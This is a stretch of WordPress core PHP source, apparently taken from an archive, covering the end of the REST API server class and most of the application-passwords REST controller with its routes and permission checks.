		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

		// Check permission specified on the route.
		if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) {
			$permission = call_user_func( $handler['permission_callback'], $request );

			if ( is_wp_error( $permission ) ) {
				$response = $permission;
			} elseif ( false === $permission || null === $permission ) {
				$response = new WP_Error(
					'rest_forbidden',
					__( 'Sorry, you are not allowed to do that.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( ! is_wp_error( $response ) ) {
			/**
			 * Filters the REST API dispatch request result.
			 *
			 * Allow plugins to override dispatching the request.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$route` and `$handler` parameters.
			 *
			 * @param mixed           $dispatch_result Dispatch result, will be used if not empty.
			 * @param WP_REST_Request $request         Request used to generate the response.
			 * @param string          $route           Route matched for the request.
			 * @param array           $handler         Route handler used for the request.
			 */
			$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

			// Allow plugins to halt the request via this filter.
			if ( null !== $dispatch_result ) {
				$response = $dispatch_result;
			} else {
				$response = call_user_func( $handler['callback'], $request );
			}
		}

		/**
		 * Filters the response immediately after executing any REST API
		 * callbacks.
		 *
		 * Allows plugins to perform any needed cleanup, for example,
		 * to undo changes made during the {@see 'rest_request_before_callbacks'}
		 * filter.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * Note that an endpoint's `permission_callback` can still be
		 * called after this filter - see `rest_send_allow_header()`.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

		if ( is_wp_error( $response ) ) {
			$response = $this->error_to_response( $response );
		} else {
			$response = rest_ensure_response( $response );
		}

		$response->set_matched_route( $route );
		$response->set_matched_handler( $handler );

		return $response;
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return false|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		$last_error_code = json_last_error();

		if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param array $request {
	 *     Request.
	 *
	 *     @type string $context Context.
	 * }
	 * @return WP_REST_Response The API root index data.
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'page_for_posts'  => (int) get_option( 'page_for_posts' ),
			'page_on_front'   => (int) get_option( 'page_on_front' ),
			'show_on_front'   => get_option( 'show_on_front' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$fields = isset( $request['_fields'] ) ? $request['_fields'] : '';
		$fields = wp_parse_list( $fields );
		if ( empty( $fields ) ) {
			$fields[] = '_links';
		}

		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' );
			$this->add_active_theme_link_to_index( $response );
			$this->add_site_logo_to_index( $response );
			$this->add_site_icon_to_index( $response );
		} else {
			if ( rest_is_field_included( 'site_logo', $fields ) ) {
				$this->add_site_logo_to_index( $response );
			}
			if ( rest_is_field_included( 'site_icon', $fields ) || rest_is_field_included( 'site_icon_url', $fields ) ) {
				$this->add_site_icon_to_index( $response );
			}
		}

		/**
		 * Filters the REST API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 * @since 6.0.0 Added `$request` parameter.
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data.
		 */
		return apply_filters( 'rest_index', $response, $request );
	}

	/**
	 * Adds a link to the active theme for users who have proper permissions.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_active_theme_link_to_index( WP_REST_Response $response ) {
		$should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' );

		if ( ! $should_add && current_user_can( 'edit_posts' ) ) {
			$should_add = true;
		}

		if ( ! $should_add ) {
			foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
				if ( current_user_can( $post_type->cap->edit_posts ) ) {
					$should_add = true;
					break;
				}
			}
		}

		if ( $should_add ) {
			$theme = wp_get_theme();
			$response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) );
		}
	}

	/**
	 * Exposes the site logo through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_logo_to_index( WP_REST_Response $response ) {
		$site_logo_id = get_theme_mod( 'custom_logo', 0 );

		$this->add_image_to_index( $response, $site_logo_id, 'site_logo' );
	}

	/**
	 * Exposes the site icon through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_icon_to_index( WP_REST_Response $response ) {
		$site_icon_id = get_option( 'site_icon', 0 );

		$this->add_image_to_index( $response, $site_icon_id, 'site_icon' );

		$response->data['site_icon_url'] = get_site_icon_url();
	}

	/**
	 * Exposes an image through the WordPress REST API.
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 * @param int              $image_id Image attachment ID.
	 * @param string           $type     Type of Image.
	 */
	protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) {
		$response->data[ $type ] = (int) $image_id;
		if ( $image_id ) {
			$response->add_link(
				'https://api.w.org/featuredmedia',
				rest_url( rest_get_route_for_post( $image_id ) ),
				array(
					'embeddable' => true,
					'type'       => $type,
				)
			);
		}
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error(
				'rest_invalid_namespace',
				__( 'The specified namespace could not be found.' ),
				array( 'status' => 404 )
			);
		}

		$routes    = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data     = array(
			'namespace' => $namespace,
			'routes'    => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the REST API namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array[] Route data to expose in indexes, keyed by route.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the publicly-visible data for a single REST API route.
			 *
			 * @since 4.4.0
			 *
			 * @param array $data Publicly-visible data for the route.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for REST API routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array[] $available Route data to expose in indexes, keyed by route.
		 * @param array   $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods'   => array(),
			'endpoints' => array(),
		);

		$allow_batch = false;

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			$allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false;

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() );

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data   = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			$callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch;

			if ( $callback_batch ) {
				$endpoint_data['allow_batch'] = $callback_batch;
			}

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();

				foreach ( $callback['args'] as $key => $opts ) {
					if ( is_string( $opts ) ) {
						$opts = array( $opts => 0 );
					} elseif ( ! is_array( $opts ) ) {
						$opts = array();
					}
					$arg_data             = array_intersect_key( $opts, $allowed_schema_keywords );
					$arg_data['required'] = ! empty( $opts['required'] );

					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( ! str_contains( $route, '{' ) ) {
				$data['_links'] = array(
					'self' => array(
						array(
							'href' => rest_url( $route ),
						),
					),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Gets the maximum number of requests that can be included in a batch.
	 *
	 * @since 5.6.0
	 *
	 * @return int The maximum requests.
	 */
	protected function get_max_batch_size() {
		/**
		 * Filters the maximum number of REST API requests that can be included in a batch.
		 *
		 * @since 5.6.0
		 *
		 * @param int $max_size The maximum size.
		 */
		return apply_filters( 'rest_get_max_batch_size', 25 );
	}

	/**
	 * Serves the batch/v1 request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $batch_request The batch request object.
	 * @return WP_REST_Response The generated response object.
	 */
	public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
		$requests = array();

		foreach ( $batch_request['requests'] as $args ) {
			$parsed_url = wp_parse_url( $args['path'] );

			if ( false === $parsed_url ) {
				$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );

				continue;
			}

			$single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] );

			if ( ! empty( $parsed_url['query'] ) ) {
				$query_args = array();
				wp_parse_str( $parsed_url['query'], $query_args );
				$single_request->set_query_params( $query_args );
			}

			if ( ! empty( $args['body'] ) ) {
				$single_request->set_body_params( $args['body'] );
			}

			if ( ! empty( $args['headers'] ) ) {
				$single_request->set_headers( $args['headers'] );
			}

			$requests[] = $single_request;
		}

		$matches    = array();
		$validation = array();
		$has_error  = false;

		foreach ( $requests as $single_request ) {
			$match     = $this->match_request_to_handler( $single_request );
			$matches[] = $match;
			$error     = null;

			if ( is_wp_error( $match ) ) {
				$error = $match;
			}

			if ( ! $error ) {
				list( $route, $handler ) = $match;

				if ( isset( $handler['allow_batch'] ) ) {
					$allow_batch = $handler['allow_batch'];
				} else {
					$route_options = $this->get_route_options( $route );
					$allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
				}

				if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
					$error = new WP_Error(
						'rest_batch_not_allowed',
						__( 'The requested route does not support batch requests.' ),
						array( 'status' => 400 )
					);
				}
			}

			if ( ! $error ) {
				$check_required = $single_request->has_valid_params();
				if ( is_wp_error( $check_required ) ) {
					$error = $check_required;
				}
			}

			if ( ! $error ) {
				$check_sanitized = $single_request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}

			if ( $error ) {
				$has_error    = true;
				$validation[] = $error;
			} else {
				$validation[] = true;
			}
		}

		$responses = array();

		if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
			foreach ( $validation as $valid ) {
				if ( is_wp_error( $valid ) ) {
					$responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
				} else {
					$responses[] = null;
				}
			}

			return new WP_REST_Response(
				array(
					'failed'    => 'validation',
					'responses' => $responses,
				),
				WP_Http::MULTI_STATUS
			);
		}

		foreach ( $requests as $i => $single_request ) {
			$clean_request = clone $single_request;
			$clean_request->set_url_params( array() );
			$clean_request->set_attributes( array() );
			$clean_request->set_default_params( array() );

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

			if ( empty( $result ) ) {
				$match = $matches[ $i ];
				$error = null;

				if ( is_wp_error( $validation[ $i ] ) ) {
					$error = $validation[ $i ];
				}

				if ( is_wp_error( $match ) ) {
					$result = $this->error_to_response( $match );
				} else {
					list( $route, $handler ) = $match;

					if ( ! $error && ! is_callable( $handler['callback'] ) ) {
						$error = new WP_Error(
							'rest_invalid_handler',
							__( 'The handler for the route is invalid' ),
							array( 'status' => 500 )
						);
					}

					$result = $this->respond_to_request( $single_request, $route, $handler, $error );
				}
			}

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

			$responses[] = $this->envelope_response( $result, false )->get_data();
		}

		return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS );
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		header_remove( $key );
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;

		// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
		// phpcs:enable
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array(
			'CONTENT_LENGTH' => true,
			'CONTENT_MD5'    => true,
			'CONTENT_TYPE'   => true,
		);

		foreach ( $server as $key => $value ) {
			if ( str_starts_with( $key, 'HTTP_' ) ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) {
				/*
				 * In some server configurations, the authorization header is passed in this alternate location.
				 * Since it would not be passed in in both places we do not check for both headers and resolve.
				 */
				$headers['AUTHORIZATION'] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
endpoints/class-wp-rest-application-passwords-controller.php000060400000057132151724720270020504 0ustar00<?php
/**
 * REST API: WP_REST_Application_Passwords_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      5.6.0
 */

/**
 * Core class to access a user's application passwords via the REST API.
 *
 * @since 5.6.0
 *
 * @see   WP_REST_Controller
 */
class WP_REST_Application_Passwords_Controller extends WP_REST_Controller {

	/**
	 * Application Passwords controller constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users/(?P<user_id>(?:[\d]+|me))/application-passwords';
	}

	/**
	 * Registers the REST API routes for the application passwords controller.
	 *
	 * @since 5.6.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_items' ),
					'permission_callback' => array( $this, 'delete_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/introspect',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_current_item' ),
					'permission_callback' => array( $this, 'get_current_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<uuid>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_list_application_passwords',
				__( 'Sorry, you are not allowed to list application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );
		$response  = array();

		foreach ( $passwords as $password ) {
			$response[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $password, $request )
			);
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Checks if a given request has access to get a specific application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_read_application_password',
				__( 'Sorry, you are not allowed to read this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves one application password from the collection.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Checks if a given request has access to create application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'create_app_password', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_create_application_passwords',
				__( 'Sorry, you are not allowed to create application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) );

		if ( is_wp_error( $created ) ) {
			return $created;
		}

		$password = $created[0];
		$item     = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] );

		$item['new_password'] = WP_Application_Passwords::chunk_password( $password );
		$fields_update        = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/**
		 * Fires after a single application password is completely created or updated via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $item     Inserted or updated password item.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating an application password, false when updating.
		 */
		do_action( 'rest_after_insert_application_password', $item, $request, true );

		$request->set_param( 'context', 'edit' );
		$response = $this->prepare_item_for_response( $item, $request );

		$response->set_status( 201 );
		$response->header( 'Location', $response->get_links()['self'][0]['href'] );

		return $response;
	}

	/**
	 * Checks if a given request has access to update application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_edit_application_password',
				__( 'Sorry, you are not allowed to edit this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$item = $this->get_application_password( $request );

		if ( is_wp_error( $item ) ) {
			return $item;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		$fields_update = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */
		do_action( 'rest_after_insert_application_password', $item, $request, false );

		$request->set_param( 'context', 'edit' );
		return $this->prepare_item_for_response( $item, $request );
	}

	/**
	 * Checks if a given request has access to delete all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_passwords',
				__( 'Sorry, you are not allowed to delete application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted' => true,
				'count'   => $deleted,
			)
		);
	}

	/**
	 * Checks if a given request has access to delete a specific application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_password',
				__( 'Sorry, you are not allowed to delete this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes an application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		$request->set_param( 'context', 'edit' );
		$previous = $this->prepare_item_for_response( $password, $request );
		$deleted  = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
	}

	/**
	 * Checks if a given request has access to get the currently used application password for a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_current_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( get_current_user_id() !== $user->ID ) {
			return new WP_Error(
				'rest_cannot_introspect_app_password_for_non_authenticated_user',
				__( 'The authenticated application password can only be introspected for the current user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the application password being currently used for authentication of a user.
	 *
